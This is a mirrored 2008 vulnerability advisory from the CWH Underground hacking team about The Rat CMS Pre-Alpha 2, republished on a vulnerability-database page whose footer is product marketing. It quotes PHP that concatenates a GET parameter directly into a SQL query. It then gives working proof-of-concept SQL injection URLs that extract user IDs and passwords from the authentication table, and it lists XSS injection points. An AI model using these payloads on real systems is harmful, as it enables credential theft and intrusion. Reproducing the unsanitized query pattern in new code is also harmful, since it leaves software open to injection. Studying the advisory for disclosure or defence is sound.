Lucene search
K

theratcms-sqlxss.txt

🗓️ 26 Jun 2008 00:00:00Reported by CWH UndergroundType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities, 25 June 2008, Pre-Alpha 2, Remote SQL Injection, Remote XS

Code
`==========================================================  
The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities  
==========================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 25 June 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : The Rat CMS  
VERSION : Pre-Alpha 2  
VENDOR : N/A  
DOWNLOAD : http://downloads.sourceforge.net/the-rat-cms  
#####################################################  
  
--- Remote SQL Injection ---  
  
---------------------------------------  
Vulnerable File [viewarticle.php?id=]  
---------------------------------------  
  
@Line 5  
  
73: $query = "SELECT title, content FROM news WHERE id=".$_GET['id'];  
74: $result = mysql_query($query) or die('Error : ' . mysql_error());   
75: $row = mysql_fetch_array($result, MYSQL_ASSOC);   
  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[trcms_path]/viewarticle.php?id=[SQL Injection]  
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=[SQL Injection]  
  
  
-------------  
POC Exploit  
-------------  
  
http://192.168.24.25/trcms/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--  
http://192.168.24.25/trcms/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--  
  
  
--- Remote XSS ---  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[trcms_path]/viewarticle.php/<XSS>  
[+] http://[Target]/[trcms_path]/viewarticle.php?id=<XSS>  
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=<XSS>  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation